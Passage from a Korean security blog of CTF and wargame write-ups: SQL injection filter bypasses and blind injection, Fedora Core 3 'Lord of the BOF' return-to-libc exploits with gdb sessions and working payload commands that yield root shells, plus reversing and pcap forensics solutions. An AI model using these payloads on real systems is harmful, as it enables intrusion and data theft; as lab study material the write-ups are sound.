따옴표(캐릭터) 우회


만약 따옴표(')가 필터링이 되어있는데, 캐릭터를 비교를 해야한다던가.. 하는 상황이 있다면

ascii 를 사용하시면 됩니다.

ascii는 캐릭터를 숫자로 바꿔주는 방식이므로, ascii(a) = 97 과 같은 형태로 따옴표없이도 비교할수 있습니다.



LIMIT 우회


인젝션을 할때 LIMIT이 필터링 되어있으면 상당히 걸리적거립니다.

그때 LIMIT을 우회하는 방법은, max(), min(), group_concat()을 사용하시면 됩니다.


사용법은 select max(컬럼) from ~~~ , select group_concat(컬럼) from ~~~ 와 같습니다.

max,min은 예상하시다싶이, 결과값중 가장 높은 줄 하나, 낮은줄 하나만 불러오는것이구요.


group_concat()을 이용해서 불러오면, 모든 레코드의 해당 컬럼값들이 하나의 스트링으로 붙어서 나옵니다.


"[첫번째 컬럼값],[두번째 컬럼값],..." 이런식으로 결과값이 나옵니다.


이를 이용해서 LIMIT 우회가 가능합니다



스트링 우회


따옴표나, admin, "." 등이 필터링이 되어있는데, 스트링을 꼭 써야 하는 상황이라면,

0x (hex)를 이용하시면 됩니다.

sql에서는 0x?????? 가 있으면 스트링으로 인식을 합니다.


예를 들어서 "admin"을 hex형식으로 바꾸면 "0x61646d696e" 이 됩니다.

즉, " select 'admin' " 대신 " select 0x61646d696e" 을 사용할수 있는거죠.


posted by tunz

SQL Blind Injection

Computer Security/Web 2013. 1. 15. 22:09

제가 여기저기서 조금조금씩 주워듣고 해본것들을 정리하는것이기 때문에, 일반적인 용어가 아닐수도 있습니다.

그리고, 문법은 MySQL을 기준으로 설명하겠습니다. (물론, 다른 SQL에서도 문법만 조금 달리하여 사용 가능합니다.)


Blind Injection이란 True or False의 결과값을 이용하여 DB의 내용을 알아내는 기술을 말합니다.


예를 들어서 설명을 해보겠습니다.


어떤 테이블이 있고, search 기능을 통해 특정한 num을 불러오는 기능이 있다고 할때


그 search의 쿼리문은 

select * from table where num=[원하는 번호] 

대충 이런형태 일것입니다.


그러면, 만약 원하는번호에


"1 and 1=1 #" 를 넣는다면,

select * from table where num=1 and 1=1 #

이 되어, 1=1의 부분은 항상 True이기 떄문에, 그냥 무시하고 원래 결과가 나올것입니다.


그럼 만약, "1 and 1=2 #"

을 넣는다면

select * from table where num=1 and 1=2 # 

이 되어, 항상 False가 됩니다.

그렇다면 아무 테이블도 출력하지 않겠죠.


바로 이 현상을 이용하는게 blind injection 입니다.


저 1=1,1=2 부분에 length(`pw`)=1, length(`pw`)=2, length(`pw`)=3, ... 이런식으로 하나씩 넣어본다면, num=1인 레코드의 pw컬럼의 값의 길이를 알수 있게됩니다.


그리고, substr(`pw`,1,1)='a', substr(`pw`,1,1)='b' ... 이런식으로 브루트포스 식으로 한글자 한글자씩 알아내는 작업을 할수 있습니다.


substr 함수는 어떤 스트링의 일부분만 잘라내는 함수입니다.

substr(스트링,어디서부터,몇개) 의 형식입니다.

그래서, substr('abc',1,1)='a' , substr('abc',2,1)='b' , substr('abc',3,1)='c' 이런식으로 사용되는 함수입니다.


저 스트링 자리에 컬럼의 이름을 써넣게 된다면, 해당 줄에 있는 그 컬럼에 해당하는 내용이 나오게 됩니다.


 num

id 

pw 

 1

hello 

what 

 2

hi 

who 

이런 테이블이 있을때,



search * from table where num=1 and substr(`pw`,1,1)='w' #

이런식의 쿼리를 보내면, True가 된다는거죠.

결국, True일때는 리스트에 첫번째줄만 나타날것이고,

False 일때는 리스트에 아무것도 나타나지 않을것입니다.


그래서 만약 true가 됐을때와 False가 됐을때 화면에 표시되는 내용이 다르다면.

이런 이런 방법을 이용해서 숨겨진 필드의 내용을 알아낼수 있습니다.


그리고 보통, 이런 작업을 수작업으로 하면 힘들기 때문에, 보통 파이썬등의 스크립트를 이용합니다.

posted by tunz




/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

dark_eyes.c


이번 문제에서는 fake ebp를 사용못하게 되었습니다.


하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.

바로 esp를 조작하는 부분입니다.


gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면


 push %ebp

 mov %esp, %ebp


였습니다.


아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.

즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.


esp를 조작하는방법은 간단합니다.


ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.


이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.

여기서 말하는 원하는 esp란..


1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.

2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.


이 두가지 조건을 만족하는 esp를 찾으면 됩니다.


찾기위해 gdb로 디버깅을 해보겠습니다.


 [iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b *main+177

Breakpoint 1 at 0x80484b9

(gdb) r 1

Starting program: /home/iron_golem/dark_eyes 1

(no debugging symbols found)...(no debugging symbols found)...1


Breakpoint 1, 0x080484b9 in main ()

(gdb) x/10x $esp

0xfef470ec:     0x00730e33      0x00000002      0xfef47174      0xfef47180

0xfef470fc:     0x0070eab6      0x0083eff4      0x00000000      0xfef47100

0xfef4710c:     0xfef47148      0xfef470f0

(gdb)



보시면, 0x00730e33이 현재 return address 입니다.


그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.

하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.


그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.


 (gdb) x/10x 0x0070eab6

0x70eab6 <fixup+150>:   0x83f0558b      0xc18914ec      0xd285c031      0xc9850b74

0x70eac6 <fixup+166>:   0x428b4c74      0x01318b04      0xf8bb8bf0      0x85fffffc

0x70ead6 <fixup+182>:   0x8b0575ff      0x0189e44d


조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.

물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.


다음차례인 0x0083eff4를 보겠습니다.


(gdb) x/10x 0x83eff4

0x83eff4 <svcauthsw+712>:       0x0083ed3c      0x00730b96      0x00000000      0x00818df0

0x83f004 <svcauthsw+728>:       0x0077f160      0x0077ee70      0x0077f610      0x0077f440

0x83f014 <svcauthsw+744>:       0x00711720      0x0077d430 


0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.

이 포인터를 esp+8로 두겠습니다.

이제 그럼 "\x3c\xed\x83"이 파일명입니다.


그러면, esp를 0xfef47180로 둬야 하겠네요.

즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.


그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.


(gdb) x/i $eip

0x80484b9 <main+177>:   ret 


이부분의 address를 사용하면 되겠습니다.


그리고 이제 execve의 주소를 알아보겠습니다.

전에는, execl로 했는데, 이번엔 불가능합니다.

왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.

그래서, execve를 사용하겠습니다.


(gdb) print execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>


excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.


gate와 마찬가지로 이제 shell.c를 짜겠습니다.


int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);


그리고 링크를 걸어줍니다.


[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'`


그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..


굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.


sfp부분을 지운다면서 264~267 부분을 지우죠.


그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.


이제 공격만 하면 되는데,


구성은


./dark_eyes [A*268][ret*3][execve]


이렇게 공격해주면 되겠네요.


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz

bash-3.00$ my-pass

euid = 502

because of you 


성공했습니다.

posted by tunz

이전 레드햇에서의 BOF원정대와 달라진점은 



 1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다.


2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다.


3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다.


그렇다면, 이를 해결하기위해서 제가 사용할 방법은,


execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.


좀더 풀어서 설명하자면,


execl의 argument는 다음과 같습니다.

execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);


이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.

그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.


그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.

그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.

그 주소가 바로 GOT부분입니다.


GOT부분을 보면 대충 ??????? ???????? 00000000


이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,

?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.


이제 문제로 들어가면,


 /*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

iron_golem.c


소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.


우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.


[gate@Fedora_1stFloor ~]$ objdump -h iron_golem


iron_golem:     file format elf32-i386


Sections:

Idx Name          Size      VMA       LMA       File off  Algn


......


 19 .got          00000004  08049614  08049614  00000614  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .got.plt      0000001c  08049618  08049618  00000618  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .data         0000000c  08049634  08049634  00000634  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 22 .bss          00000004  08049640  08049640  00000640  2**2

                  ALLOC

 23 .comment      00000126  00000000  00000000  00000640  2**0

                  CONTENTS, READONLY

 


objdump로 GOT의 주소를 확인해봅니다.


그리고 gdb로 그 주소를 확인해봅시다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) x/10x 0x8049618

0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x00000000      0x00000000      0x080482ee

0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

0x8049638 <__dso_handle>:       0x00000000      0x08049544 


그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,


0x084954C가 첫번째 인자인 파일명이 되고,

세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.


그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,

왜 fake ebp를 쓰냐면,

argument를 불러올때 ebp를 기준으로 불러오게됩니다.

ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.


그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.


그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.


(gdb) x/4x 0x804954C

0x804954c <_DYNAMIC>:   0x00000001      0x00000024      0x0000000c      0x080482c0


little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.


그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.

그렇다면 파일명은 "\x01"이 됩니다.


그리고 나중에 사용할 파일 shell.c를 만듭니다.


 int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);

}


shell.c


shell.c 는 shell로 컴파일을 해두고


execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golem

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) disas execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   %ebp

0x007a5721 <execl+1>:   mov    %esp,%ebp

0x007a5723 <execl+3>:   lea    0x10(%ebp),%ecx

0x007a5726 <execl+6>:   push   %edi

0x007a5727 <execl+7>:   push   %esi

0x007a5728 <execl+8>:   push   %ebx

0x007a5729 <execl+9>:   sub    $0x1038,%esp

0x007a572f <execl+15>:  mov    0xc(%ebp),%eax



여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,

0x007a5723(execl+3)의 주소를 기억해둬야합니다.


왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,

첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.


그러므로 리턴할 주소는 0x007a5723이 됩니다.


이제 마지막으로 심볼릭 링크만 걸면 끝납니다.


[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'`

[gate@Fedora_1stFloor ~]$ ls

?  iron_golem  iron_golem.c  shell  shell.c 


그리고 마지막으로 공격을 하는일만 남았네요.


근데 몇바이트만큼 채워야 하는지 알아야합니다.

fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   %ebp

0x080483d1 <main+1>:    mov    %esp,%ebp

0x080483d3 <main+3>:    sub    $0x108,%esp

0x080483d9 <main+9>:    and    $0xfffffff0,%esp

0x080483dc <main+12>:   mov    $0x0,%eax

0x080483e1 <main+17>:   add    $0xf,%eax

0x080483e4 <main+20>:   add    $0xf,%eax

 ......


메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.

사실, 이 방법은 정확한 방법은 아니지만,

이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.


0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.


즉 공격코드는

./iron_golem ["A"*264][GOT address - 8][execl address + 3]

이 되겠네요.


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

bash-3.00$ my-pass

euid = 501

blood on the fedora 


posted by tunz
  • aex 2013.09.19 22:55

    혹시 해킹공부랑 시스템 공부하신지는 어느 정도 되셨는지 여쭤봐도 될련지요ㅎ?

    • tunz 2013.09.20 14:48 신고

      웹해킹은 작년 9월정도부터 본격적으로 시작했었고,
      시스템해킹은 찾아보니까 작년 11~12월 정도부터 시작한것같네요
      확실히 시스템해킹에 본격적으로 빠진건 올해초라고 기억하고있습니다 ㅎㅎㅎ

문제파일:

저한테는 Binary 100 치고는 어려웠던 문제였습니다.


우선 PEID로 살펴보았습니다.

 



UPX로 패킹이 되어있네요.


IDA를 사용하기위해 우선 upx308w를 이용하여 언패킹을 하였습니다.




언패킹을 한후, 파일이름을 unpacked.exe로 바꾸고 작업하였습니다.



그냥 실행하면, "Ups, some calls are wrong or missing" 이라는 말만 하고는 끝납니다..




올리디버거로 그 부분을 찾아가보면,


[403790] 에 있는 값이 0이기때문에 아까와같은 메세지가 떴습니다.


억지로 flag를 보여주는곳으로 점프를 시켜봤자, "HoppaKey"가 뜰 뿐입니다.


하지만, 문제에서 답은 MD5로 주어진다고 했으므로, 이 "HoppaKey"는 답이 아닙니다.


그렇다면, [403790]의 값을 0이 아닌값으로 바꿔줘야 한다는것인데............


올리디버거만으로 풀어보려고 했으나, 너무 보기가 힘들어서, hex-ray의 도움을 구해보았습니다.




main의 수도코드를 살펴보니, 이렇습니다.


printf 윗부분을 저는 정확히는 이해를 못하겠지만, 함수포인터를 넘기고 있는것 같네요.


어찌됬든, 쓰이지않는 함수 5개가 있습니다. 주어졌으니 써야겠죠?


이제야, 아까 some calls are wrong or missing의 뜻이 이해가 되었습니다.


말 그대로 function call이 missing이 되었다는 거군요..


이제 그럼 function call을 집어넣어주면 되는데, 어떤 순서대로 집어넣을지가 또 문제입니다.


각각의 함수들의 수도코드를 살펴보겠습니다.








401400은 귀찮아서...... 생략하겠습니다.


각 함수들은 argument를 하나씩 받고 있고, 그 argument의 값을 조작하고 있습니다.


그러면 추측할수 있는것은, argument로 Key를 넘기고, 그 Key가 이 함수들을 거쳐가면서 점점 MD5의 형태를 갖춰갈 것으로 예상할 수 있습니다.


각각의 함수들을 분석해보겠습니다.


401000 :

- Key의 9~16번째에 있는 글자들을 조작합니다.


401060 :

- Key의 1~32번째에 있는 글자들을 조작합니다.


4011C0 :

- Key의 17~32번째에 있는 글자들을 조작합니다.

- Key가 16글자 이상이어야 작동합니다.

- 403790에 401400의 함수포인터를 넣습니다. (중요)


401370 :

- 뒤에서 8글자를 조작합니다.


여기서 4011C0의 함수를 보시면, 403790에 함수포인터를 집어넣습니다.

아까, JE의 조건이 403790이 비어있는가? 였는데,

이 과정이 실행된다면, 점프를 안할것입니다. 그러므로, 4011C0은 무조건 실행되어야하는 함수입니다.


근데 문제는 4011C0이 실행되기위해서는 Key가 16글자 이상이어야합니다. 하지만 처음 Key의 글자는 8글자입니다.

그렇다면, 다른 함수를 이용해서 Key를 16글자 이상으로 만들어야합니다.

그럴수있는 함수는 401000이 있습니다.


그러므로, 현재까지 알수있는 함수의 순서는

401000

4011C0

입니다.


그리고 401060은 알고리즘을 살펴보셔도 되고, 직접 실행하셔도 되는데, 해보시면

글자가 없을경우 '1'로 변환이 됩니다. 즉, HoppaKey를 예시로 변환해보면, ????????111111111111111111111111

이런식으로 변환이 되어버립니다.

즉, 변환전에 글자가 이미 32글자여야 할것 같다는 추측을 할수있으므로,


현재까지 알수있는 함수의 순서는

401000

4011C0

401060

입니다.


그리고 마지막으로 문제되는것은 401370인데, 이 함수는 어딜 들어가도 상관없는것처럼 보입니다.

이미 함수 3개의 순서를 알아냈으므로, 어디다 넣든 경우의수는 4밖에 안되므로, 그냥 브루트포스를 하기로 해봤습니다.


이제 올리디버거를 이용해, 점프를 하기전에 함수콜을 해보겠습니다.

자리가 부족한것같아서, 함수포인터를 넘기는 부분은 지워버리고 작업했습니다.



그리고 실행하면..




이와 같이 나오고, 이것이 답입니다.

posted by tunz

문제파일:

f07fa031f017ac5efd44c52b6962efd0.zip



아마 이번 대회에서 가장 쉬웠던 문제가 아닐까........... 합니다.


압축을 풀면



이와 같이 검은색의 이미지가 나옵니다.


이런 이미지문제는, 제 경험이 적어서 그런것일수도 있지만,


그림문제에서는 헤더 부분의 문제, 또는 다른 파일을 숨겨놓는 스테가노그래피. 두가지 경우밖에 생각이 나지 않았습니다.


그래서 헤더부분을 살펴보기위해 다른 GIF 파일을 그림판으로 만든후, 헤더부분을 하나씩 비교해가며 다른부분을 수정해보았습니다.


그중에 



이부분을, 



이렇게 바꾸자,



정답이 나오네요.


posted by tunz

먼저, 파일이 pcap 파일이라는것 정도는 간단히 알수 있으므로, 와이어샤크로 열어보았습니다.

 

그리고 쭉 내려보면 telnet이 많이 보이고,

오른쪽 클릭해서 'follow tcp stream'을 통해서 보면, 텔넷으로 원격접속을 한것을 알수있습니다.

 

그러면 우선 텔넷 패킷들만 필터링하기 위해서 filter에 "tcp.port == 23" 으로 패킷 필터링을 합니다.

 

그러면 대충 나오는 아이피가

 

10.10.60.173

10.10.60.102

10.10.60.64

10.10.60.90

 

정도가 나오고, 10.10.60.102가 서버 아이피라는것은 간단히 알수있습니다.

 

그중 10.10.60.64의 tcp stream을 살펴보면

 

 

.ackcat","\x40\x8a\xff\xbf\n"x.[C
.ackcat","\x40\x8a\xff\xbf\n"x4.[C
.ackcat","\x40\x8a\xff\xbf\n"x40]]';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[C
.ackcat","
.ackcat",""\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\\"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\xx"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x000"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"
.ackcat","\x00""\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"xx"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x33"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x366"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x36,,"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x36,


iidd


uid=0(root) gid=501(blackcat) groups=501(blackcat)

llss


getenv.getenv.c

ccdd  ....


llss


gusals.minyoung  taekonryu  taekonryu.c  testt  testt.c

ccdd  ....


llss


hello  hello.c.key.txt  somedoby_helpme  temp

ccdd.^H.^Hcc.^H.. .. ... ... .. ... .. ... ... ..ccaatt  kkee.....yy..ttxxtt


W4rning_TongSo0!!

 

 

 

뒷부분에 이와 같이 나옵니다.

 

id 명령어를 치니, id가 0으로 나오므로, 루트권한을 획득한것을 알수있고.

 

cat key.txt를 쳤더니 W4rning_TongSo0!! 가 나왔죠.

그러므로 key값은 W4rning_TongSo0!! 입니다.

 

또 버퍼오버플로우를 시도한쪽을 살펴보면, "\x00"x36,,"\x40\x8a\xff\xbf\n "

가 나오죠.

BOF를 어느정도 공부한사람이라면 \x40\x8a\xff\xbf 가 리턴 어드레드라는것을 쉽게 알수있습니다.

 

이걸 정답에 쓰기위해 변환하면 0xbfff8a40 이 되겠죠.

 

또 마지막으로, sfp - buf의 어드레스값을 구하기 위해선, 텔넷 패킷 중간중간에 나오는 gdb 명령어의 결과를 살펴봐야합니다.

 

gdb의 disas main의 결과값을 보시면

 

그중에

 

 0x08048400 <main+24>:.lea    0xffffffb8(%ebp),%eax 

라는 결과가 strcpy에 앞서 있습니다.

 

AT&T 어셈블리에서는 ??(%ebp) 라고 되어있으면 ebp+??의 위치에 있다는뜻인데,

 

여기서는 마이너스이기때문에 0xffffffb8이 나왔습니다. 이걸 마이너스의 형태로 바꾸면, -0x48 (0x100000000 - 0xffffffb8)입니다.

 

즉, buf = ebp - 0x48 이라는것이죠.

 

문제에선 ebp - buf(sfp) 이므로, 정답은 0x48이 됩니다.

 

그러므로 정답은 10.10.60.64_0x48_W4rning_TongSo0!!_0xbfff8a40 입니다.

posted by tunz

문제:

l.pcap



사실 대회가 끝난후에 풀어서

 

정확한 답은 알지 못하고, 우선 푼곳까지 알려드리겠습니다.

 

이번에 주어진 l.pcap 파일을 쭉 훑어보시면 아이피는 크게 세가지 입니다.

 

하나는 자신의 아이피인 192.168.0.10

그리고 의문의 10.20.30.40 과 14.63.214.37이 있습니다

 

그런데 14.63.214.37의 패킷을 훑어보시면 안랩 사이트를 그냥 웹서핑하고있는게 전부입니다.

 

게다가 10.20.30.40....... 딱봐도 수상한 아이피고, 저런아이피는 흔한 아이피도 아닙니다

 

그러므로 10.20.30.40의 패킷을 집중 공략해보면

 

 

 GET /01m07s.reverse

 

라는 요청을 30초마다 하고있습니다.

 

그리고 서버도 그 응답으로 의문의 파일을 보내옵니다.

 

하아..... 그리고 이 파일을 추출해내신다음에

 

이 파일이 뭘까 고민을 해봤는데..

 

파일 확장자가 reverse 네요?????

 

그렇다면?

 

게다가 그 파일의 가장 마지막부분을 보니 GNP 라고 되어있습니다..

 

뒤집는다면 PNG가 되겠죠!

 

뒤집는 프로그램을 만들어봅니다.

 

저는 우선 넷상에 돌아다니는 소스를 살짝 개조해보았습니다.

 

 #include <stdio.h>
#include <stdlib.h>
 
int main()
{
 FILE *fp, *fpp;
 char ch;
 int f_size;
 int i = 0;

  fp = fopen("before_reverse", "rb");   
  fseek(fp, 0L, SEEK_END);
  f_size = ftell(fp);
  fpp = fopen("result.jpg", "wb");
  while ( ++i != (f_size+1))
  {
   fseek(fp, -i, SEEK_END);
   ch = getc(fp);
   putc(ch, fpp);  
  }
  fclose(fp);
  fclose(fpp);

 }

 

before_reverse라는 파일에 인풋값을 써놓으면

그 결과가 result.jpg로 나타나는 소스입니다.

 

소스를 푸시면 QR 코드가 나오고

 

그 QR코드를 찍어보시면 유령다시보기가 나오는데요

 

사실 정답은 모르고.. 스태가노그래피가 정답이 아닐까 합니다만

 

스태가노그래피가 또 다른 힌트일수도 있기떄문에.. ㅋㅋㅋ

 

여기까지입니다.

 

posted by tunz

문제:

m.pcap



사실 전 대회 끝날때까지 못풀어서 정확한 답은 모르지만

그래도 제가 한 내용을 한번 올려봅니다

 

이번 대회에서 주어진 m.pcap 파일을 와이어샤크로 열어보면

 

메일을 3번 주고 받은것을 알수있습니다

 

그리고 그것들은 base64 인코딩으로 되어있는데

base64인코딩, 게다가 짧은 텍스트파일은 그냥 네이버에 "base64 디코딩 사이트" 대충 이런걸 쳐서

들어가셔서 디코딩 하시면 아래와 같은 내용이 나옵니다

 

첫번째 메일은

 

3d 반도체 기술 자료 송부 드립니

안녕하세요.
강병규입니다.

말씀하신 내용 조사해서 회신 드립니다.

감사합니다.

강병규 드림.

 

첨부파일: 어떤 텍스트파일

대충 이런 내용이었고

 

두번째 메일은

 

 안녕하세요.
 진영인입니다.

 이번 휴가 중에 하루 시간이 괜찮아서 같이 수영장에 가요...
 장소를 잘 생각해서 메일 한번 다시 드릴께요.

 그럼..

 

세번째 메일은

 

거기서 뵙는 걸로

 안녕하세요.
 진영인입니다.

 휴가 같이 보내실 수 있으신가요?? ㅎ
 요즘에 이분이 대세더라구요.....
 저도 옷핀이나 주렁주렁 달고 다닐까 하네요 ㅋㅋ

 그럼, 나중에 그곳(?)에서 뵙는 걸로~~

 

첨부파일: oppinstyle.jpg 

 

 

이었습니다.

 

첫번째 메일은 agang과 주고받은 메일이 아니기때문에 무시하고

 

2,3 세번째 메일만 봤을때 중간에 뭔가 사라져서 트위터나 다른걸로 연락한줄 알고 거기만 뒤졌었는데 ....;;;;;;;;;;

결국 그게 아니더군요

 

그리고 힌트가 올라왔습니다. 힌트내용은 "ID3"

ID3는 mp3의 태그입니다.

그리고 전 네트워크 low문제도 대회 끝나고나서 풀었는데, 로우문제를 풀었다면 스태가노그래피 또한 힌트가 될수 있겠죠

 

결국................... oppinstyle.jpg 안에 어떤 mp3 파일이 스태가노그래피로 숨겨져있던 것이었습니다.........

 

우선 oppinstyle.jpg를 받고, base64 디코딩을 합니다.

이 과정에서 좀 헤맸는데

base64 디코딩은 돌아다니는 디코딩 소스를 조금 수정해서 했구요

 

소스는 이렇습니다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string>

static int DecodeMimeBase64[256] = {
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* 00-0F */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* 10-1F */
